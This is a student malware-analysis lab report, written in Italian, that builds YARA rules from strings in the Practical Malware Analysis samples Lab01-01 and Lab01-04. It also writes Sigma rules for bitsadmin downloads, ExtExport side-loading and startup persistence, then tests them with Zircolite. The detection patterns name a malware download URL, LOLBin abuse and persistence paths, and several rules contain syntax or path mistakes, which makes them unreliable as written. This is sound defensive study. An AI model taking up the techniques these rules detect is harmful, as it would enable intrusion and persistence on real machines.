A 00000000308C	00000040308C	0	C:\Windows\System32\Kernel32.dll
A 0000000030B0	0000004030B0	0	WARNING_THIS_WILL_DESTROY_YOUR_MACHINE

La cui regola YARA:

```
rule Rule_lab01_exe{
    meta:
        description = "Lab01_01.exe"
        author = "Marco"
        date = "2024-06-29"
    strings:
        $s1 = "C:\\windows\system\\kernel32.dll" fullword ascii
        $s2 = "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE" fullword ascii

    condition:
        (any of ($s*))
}
```

Regole Lab 01-04 exe

Scrivere un'altra regola YARA per trovare Lab01-04.exe:

• Percorsi dei file EXE dannosi

• Nome di dominio

Stringhe:

A 000000007070	000000407070	0	\winup.exe
A 000000007084	000000407084	0	\system32\wupdmgrd.exe
A 00000000 70A4	000000407 0A4	0	http://www.practicalmalwareanalysis.com/updater.exe

Regola:

```
rule Rule_lab04_exe{
    meta:
        description = "Lab01_04.exe"
        author = "Marco"
        date = "2024-06-29"
    strings:
        $s1 = "\\system32\\wupdmgr.exe" fullword ascii
        $s2 = "http://www.practicalmalwareanalysis.com/updater.exe" fullword ascii
        $s3 = "\\winup.exe" fullword ascii"

    condition:
        (any of ($s*))
}
```

Scrivere la regola anche eseguendo YarGen:

```
rule Lab01_04 {
   meta:
      description = " - file Lab01-04.exe"
      author = "yarGen Rule Generator"
      reference = "https://github.com/Neo23x0/yarGen"
      date = "2024-05-30"
      hash1 = "0fa1498340fca6c562cfa389ad3e93395f44c72fd128d7ba08579a69aaf3b126"
   strings:
      $s1 = "\\system32\\wupdmgr.exe" fullword ascii
      $s2 = "\\system32\\wupdmgrd.exe" fullword ascii
      $s3 = "http://www.practicalmalwareanalysis.com/updater.exe" fullword ascii
      $s4 = "\\winup.exe" fullword ascii
      $s5 = "SeDebugPrivilege" fullword ascii /* Goodware String - occured 141 times */
      $s6 = "<not real>" fullword ascii
   condition:
      uint16(0) == 0x5a4d and filesize < 100KB and
      all of them
}
```

SIGMA

Dopo aver eseguito i passi di setup per l'ambiente e per i tool da utilizzare, sono state scritte le regole come file yml.

Bits Admin execution

```yaml
title: Bitsadmin Download
id: d059842b-6b9d-4ed1-b5c3-5b89143c6ede
status: experimental
description: Detects usage of bitsadmin downloading a file
references:
    - https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin
    - https://isc.sans.edu/diary/22264
tags:
    - attack.defense_evasion
    - attack.persistence
    - attack.t1197
    - attack.s0190
date: 2017/03/09
modified: 2019/12/06
author: Michael Haag
logsource:
    service: sysmon
    product: windows
detection:
    event:
        EventID: 1
    selection1:
        Image: '*\bitsadmin.exe'
        CommandLine: '* /transfer *'
    selection2:
        CommandLine: '*copy bitsadmin.exe*'
    condition: event and (selection1 or selection2)
fields:
    - CommandLine
    - ParentCommandLine
falsepositives:
    - Some legitimate apps use this, but limited.
level: medium
```

ExtExport Execution

```yaml
title: ExtExport.exe DLL Side Loading
id: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
status: experimental
description: Detects ExtExport.exe with arguments being executed. Could indicate a DLL Side-Loading attempt.
references:
  - https://lolbas-project.github.io/lolbas/Binaries/Extexport/
  - http://www.hexacorn.com/blog/2018/04/24/extexport-yet-another-lolbin/
tags:
 - attack.execution
 - attack.defense_evasion
 - attack.t1059
 - attack.t1073
author: Martin, Anartz
date: 2020/06/30
logsource:
 service: sysmon
 product: windows
detection:
 selection:
  EventID: 1
  Image:
    - '*\extexport.exe'
 filter:
   CommandLine:
     - '^[Cc]\:\\[Pp]rogram\ [Ff]iles(\ \([Xx]86\))?\\[Ii]nternet\ [Ee]xplorer\\[Ee]xt[Ee]xport\.exe$'
 condition: selection and not filter
fields:
 - CommandLine
falsepositives:
 - Depending on the estate activity. They should be rare.
level: medium
```

Startup drop

```yaml
title: File Creation by CMD in Startup Folder
id: a3b4c8e3-7f2a-4d7e-b2c5-8e6f8b8d7fcd
status: experimental
description: Detects the creation of a file in the startup folder by cmd.exe
references:
    - https://example.com/reference1
    - https://example.com/reference2
tags:
    - attack.persistence
    - attack.t1547.001
    - attack.s0190
date: 2024/06/08
modified: 2024/06/08
author: Martin, Anartz
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11
        Image: 'C:\Windows\System32\cmd.exe'
        TargetFilename: 'C:\Users\unina\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\launcher.lnk'
    condition: selection
fields:
    - UtcTime
    - ProcessGuid
    - ProcessId
    - Image
    - TargetFilename
    - User
falsepositives:
    - Legitimate administrative actions or script usage
level: critical
```

Scritta sulla base del seguente evento ID 11 trovato grazie a sysmon:

Event 11, Microsoft-Windows-Sysmon

General | Details

```
File created:
RuleName: T1023
UtcTime: 2024-06-08 20:52:04.757
ProcessGuid: {dc240039-c472-6664-ed01-000000001800}
ProcessId: 5720
Image: C:\Windows\System32\cmd.exe
TargetFilename: C:\Users\unina\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\launcher.lnk
CreationUtcTime: 2024-05-18 16:41:10.844
User: MALWARE-VM\unina
```

Registry key write

```yaml
title: Add Startup Key to Explorer Shell Folders
id: e2a9c7a3-5b2a-4b7e-a8b2-4de0f6e8a6cd
status: experimental
description: Detects the insert of a registry value
references:
    - https://example.com/reference1
    - https://example.com/reference2
tags:
    - attack.defense_evasion
    - attack.persistence
    - attack.t1112
    - attack.s0190
date: 2024/06/08
modified: 2024/06/08
author: Martin, Anartz
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 12
        Image: 'C:\Windows\System32\cmd.exe'
        EventType: 'DeleteValue'
        TargetObject: 'HKU\S-1-5-21-3191581004-3819144844-3633199379-1002\SOFTWARE\Microsoft\Windows\
    condition: selection
fields:
    - UtcTime
    - ProcessGuid
    - ProcessId
    - Image
    - TargetObject
    - User
falsepositives:
    - Legitimate administrative actions
```

Esecuzione di zircolite

Infine, si è eseguito ZircoLite per vedere se le regole funzionassero e se trovassero le azioni scritte nelle regole all'interno del nostro log salvato da sysmon.

```
ZIRCOLITE
-= Standalone SIGMA Detection tool for EVTX =-

[+] Checking prerequisites
[+] Extracting EVTX Using 'tmp-HEJ6B7NV' directory
100%|                                                                                | 1/1 [00:00<?, ?it/s]
[+] Processing EVTX
100%|                                                                                | 1/1 [00:00<?, ?it/s]
[+] Creating model
[+] Inserting data
100%|                                                                                | 42/42 [00:00<?, ?it/s]
[+] Cleaning unused objects
[+] Loading ruleset from : .\astarothfiles\new_rules.json
[+] Executing ruleset - 4 rules
    - Bitsadmin Download [medium] : 4 events
    - ExtExport.exe DLL Side Loading [medium] : 2 events
    - Add Startup Key to Explorer Shell Folders [critical] : 1 events
    - File Creation by CMD in Startup Folder [critical] : 2 events
100%|                                                                                | 4/4 [00:00<?, ?it/s]
[+] Results written in : detected_events.json
[+] Cleaning
```